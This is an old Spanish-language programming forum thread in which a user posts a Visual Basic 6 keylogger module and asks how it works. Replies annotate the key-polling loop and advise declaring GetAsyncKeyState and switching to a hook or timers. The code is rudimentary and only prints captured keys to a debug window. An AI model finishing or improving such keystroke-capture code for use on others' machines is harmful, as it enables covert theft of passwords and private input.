modulo keylogger!!

Iniciado por ?¿?, 1 Febrero 2009, 01:23 AM

0 Miembros y 2 Visitantes están viendo este tema.

?¿?

Hola, buenas, alguien se prestaría a ayudarme a entender como funciona este modulo  :huh:  :huh:  :huh:  gracias.

'Módulo estándar basKeyLogger.bas
'
Option Explicit

Public bLogEnabled As Boolean

Function GetActiveKey() As Integer
        Static bStarted As Boolean
        Dim i%

 If Not bStarted Then
   'Inicializa el estado de las teclas llamando a
   'la función GetAsyncKeyState.
   '
   For i = 1 To 256
     Call GetAsyncKeyState(i)
   Next

   bStarted = True
 End If

 For i = 1 To 256
   'Obtiene la tecla pulsada actualmente.
   '
   If GetAsyncKeyState(i) Then
     GetActiveKey = i
   
     Exit For
   End If
 Next
End Function

Sub StopLog()
 bLogEnabled = False
End Sub

Sub LogKeys()
       Dim snTimer!
       Dim iActiveKey%
       Dim sChar$, sData$

 bLogEnabled = True

 Do While bLogEnabled
   snTimer = Timer
 
   Do While (Timer - snTimer) < 0.125
     'Espera 125 milisegundos hasta
     'la próxima pulsación.
   Loop
 
   iActiveKey = GetActiveKey
 
   Select Case iActiveKey
     Case vbKey0 To vbKey9, 32 To 47, vbKeyA To vbKeyZ
       sChar = Chr$(iActiveKey)
   
       sData = sData & sChar
   
     Case vbKeyReturn
       'Imprime lo que tiene en el buffer.
       '
       Debug.Print sData
     
       sData = vbNullString
     Case Else
       'Verifica otras teclas.
   End Select
 Loop

<[(x)]>

faltan declaraciones.

Y un consejo  ;)

mírate algo de esto ->http://www.google.com.ar/search?rlz=1C1GGLS_esAR305AR305&sourceid=chrome&ie=UTF-8&q=manual%2Bvisual%2Bbasic%2B6.0


'Módulo estándar basKeyLogger.bas
'
Option Explicit

Public bLogEnabled As Boolean

Function GetActiveKey() As Integer
         Static bStarted As Boolean
         Dim i%

  If Not bStarted Then
    'Inicializa el estado de las teclas llamando a
    'la función GetAsyncKeyState.
    '
    For i = 1 To 256
      Call GetAsyncKeyState(i)
    Next

    bStarted = True
  End If

  For i = 1 To 256
    'Obtiene la tecla pulsada actualmente.
    '
    If GetAsyncKeyState(i) Then
      GetActiveKey = i
     
      Exit For
    End If
  Next
End Function

Sub StopLog()
  bLogEnabled = False
End Sub

Sub LogKeys()
        Dim snTimer!
        Dim iActiveKey%
        Dim sChar$, sData$

  bLogEnabled = True

  Do While bLogEnabled 'mientras que bLogEnabled sea = a true se repite de aka asta el loop de abajo de todo.
    snTimer = Timer
   
    Do While (Timer - snTimer) < 0.125 'esta claro
      'Espera 125 milisegundos hasta
      'la próxima pulsación.
    Loop
   
    iActiveKey = GetActiveKey
   
    Select Case iActiveKey
      Case vbKey0 To vbKey9, 32 To 47, vbKeyA To vbKeyZ 'si la tecla precionada son de el nº 0 al 9, de la a ala z o tienen el el valor de 32 a 47,
        sChar = Chr$(iActiveKey) ' lo carga en la variable bufer sData
     
        sData = sData & sChar
     
      Case vbKeyReturn
        'Imprime lo que tiene en el buffer. < ahi lo dice
        '
        Debug.Print sData
       
        sData = vbNullString
      Case Else
        'Verifica otras teclas.
    End Select
  Loop
<[(x)]>

BlackZeroX

#2
crea un diagrama de flujo seguro te ayudara en tu libreta + un lapiz + ApiGuide seria genial.

Edito:

Falta declarar en el mismo modulo o de forma irrregular en otro modulo el Api GetAsyncKeyState (con mi frase "de forma irregular" me refierro a que uses otro modulo y hay declares el api o en un formulario pero igual).

Debes llamar al proceso LogKeys mmm 2 Do while seguro usa el procesador hasta fermentarlo ¬¬" CODIGO no recomendado xS usa un Hook es mejor o timers (sustituye y adapta el codigo quitando el Do While)

1Consejo usa DoEvents entre un Do While o Do y Loop

Código (vb) [Seleccionar]

do while boolean
    'Eventos
    doEvents
loop


Por otra parte No corres si aun Tropiesas mejor gatea despues camina y por ultimo corre no saltes pasos en tu Aprendisaje... Todo lo medio/intermedio y Avanzado requiere conocimientos generales matematicas y por supuesto los Básico.

P.D.: Este modulo esta Feo xS

Dulces Lunas
The Dark Shadow is my passion.

seba123neo

La característica extraordinaria de las leyes de la física es que se aplican en todos lados, sea que tú elijas o no creer en ellas. Lo bueno de las ciencias es que siempre tienen la verdad, quieras creerla o no.

Neil deGrasse Tyson